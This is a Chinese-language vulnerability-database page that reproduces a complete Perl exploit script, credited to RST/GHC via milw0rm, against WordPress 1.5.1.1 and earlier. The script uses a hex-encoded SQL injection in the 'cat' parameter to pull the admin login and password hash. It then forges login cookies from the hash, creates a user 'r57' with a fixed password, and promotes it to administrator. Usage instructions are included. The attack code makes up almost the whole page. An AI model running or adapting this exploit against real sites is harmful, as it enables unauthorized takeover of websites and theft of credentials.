WordPress 1.5.1.1 – ‘add new admin’ SQL Injection
漏洞ID | 1055176 | 漏洞类型 | |
发布时间 | 2005-06-21 | 更新时间 | 2005-06-21 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | PHP | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#!/usr/bin/perl
## WordPress <= 1.5.1.1 sql injection "add new admin" exploit
## by RST/GHC , http://rst.void.ru , http://ghc.ru
## coded by 1dt.w0lf
use LWP::UserAgent;
use Getopt::Std;
use HTTP::Cookies;
use Digest::MD5 qw(md5_hex);
getopts('h:p:');
$path = $opt_h;
$pref = $opt_p || 'wp_';
if(!$path) { usage(); }
$xpl = LWP::UserAgent->new() or die;
&header();
print " +---[x] STEP 1 - TRY GET ADMIN INFOn";
$reg = $path;
$reg .= '?%63%61%74=%36%36%36%20%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%36%36%36%2C%63%6F%6E'.
'%63%61%74%28%63%68%61%72%28%35%38%2C%35%38%2C%35%38%29%2C%75%73%65%72%5F%6C%6F%67%69'.
'%6E%2C%63%68%61%72%28%35%38%2C%35%38%2C%35%38%29%2C%75%73%65%72%5F%70%61%73%73%2C%63'.
'%68%61%72%28%35%38%2C%35%38%2C%35%38%29%29%2C%6E%75%6C%6C%2C%6E%75%6C%6C%2C%6E%75%6C'.
'%6C%20%66%72%6F%6D%20'.$pref.'%75%73%65%72%73%20%57%48%45%52%45%20%49%44=1'; ### 1 - admin ID
$res = $xpl->get($reg);
die "ERROR : ", $res->status_line unless $res->is_success;
if($res->content =~ m/(?::::)(.*)(?::::)([a-f0-9]{32})(?::::)(</title>)/)
{
$login = $1; $hash = $2;
print "n>> LOGIN : $loginn>> HASH : $hashnn";
}
else { print "ERROR : Forum not vulnerable or bad prefix."; exit(); }
$cookie_jar = HTTP::Cookies->new();
($cpath = $path) =~ s!/$!!;
$hash = md5_hex($hash);
($host = $cpath) =~ s!http://([^/]*).*!$1!;
$cpath = md5_hex($cpath);
$xpl->cookie_jar( $cookie_jar );
$cookie_jar->set_cookie( "0","wordpresspass_$cpath","$hash","/",$host,,,,,);
$cookie_jar->set_cookie( "1","wordpressuser_$cpath","$login","/",$host,,,,,);
print " +---[x] STEP 2 - CREATE NEW USERn";
$reg = $path;
$reg .= 'wp-admin/users.php';
$res = $xpl->post("$reg",
{
"action" => "adduser",
"user_login" => "r57",
"firstname" => "RST",
"lastname" => "GHC",
"email" => "[email protected]",
"uri" => "http://rst.void.ru",
"pass1" => "r57",
"pass2" => "r57",
"adduser" => "Submit",
},
Referer => $reg
);
print " +---[x] STEP 3 - GET ID OF NEW USERn";
$reg = $path;
$reg .= 'wp-admin/users.php';
$res = $xpl->get("$reg",Referer => $reg);
@res = split(/n/,$res->content);
$id = 0;
for(@res)
{
if(/(?:<td align='center'>)([0-9]*)(?:</td>)/) { $id = $1; }
if(/<td><strong>r57</strong></td>/) { last; }
}
die "ERROR : ", $res->status_line unless $res->is_success;
if($id != 0) { print "n>> ID : $idnn"; }
else { print "[-] ERROR : CAN'T GET NEW USER IDn"; exit(); }
print " +---[x] STEP 4 - LEVEL UP FOR NEW USERnn";
$reg = $path;
$reg .= 'wp-admin/users.php?action=promote&id='.$id.'&prom=up';
for($i=0;$i<10;$i++)
{
print ">> LEVEL UP # $in";
$res = $xpl->get("$reg",Referer => $reg);
die "ERROR : ", $res->status_line unless $res->is_success;
}
print "nTHATS ALL. NOW YOU CAN LOGIN WITH USERNAME 'r57' AND PASSWORD 'r57'n";
sub usage()
{
&header();
print "USAGE : r57wp.pl [OPTIONS]n";
print "noptions:nn";
print "-h [path]n";
print " Path to wordpress installedn";
print "-p [prefix] (optional)n";
print " Database tables prefix (default 'wp_')nn";
print "e.g.: r57wp.pl -h http://blah.com/wordpress/n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n";
print "(c)oded by 1dt.w0lfn";
print "RST/GHCn";
print "http://ghc.run";
print "http://rst.void.run";
exit();
}
sub header()
{
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n";
print " WordPress 1.5.1.1 exploit n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~n";
}
# milw0rm.com [2005-06-21]
Unreal IRCd 格式字符串漏洞 漏洞ID 1203439 漏洞类型 格式化字符串 发布时间 2002-12-31 更新时间 2002-12-31 CVE编号 CVE-2002-1675 CNNVD-ID CNNVD-200212-223 漏洞平台 N/…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666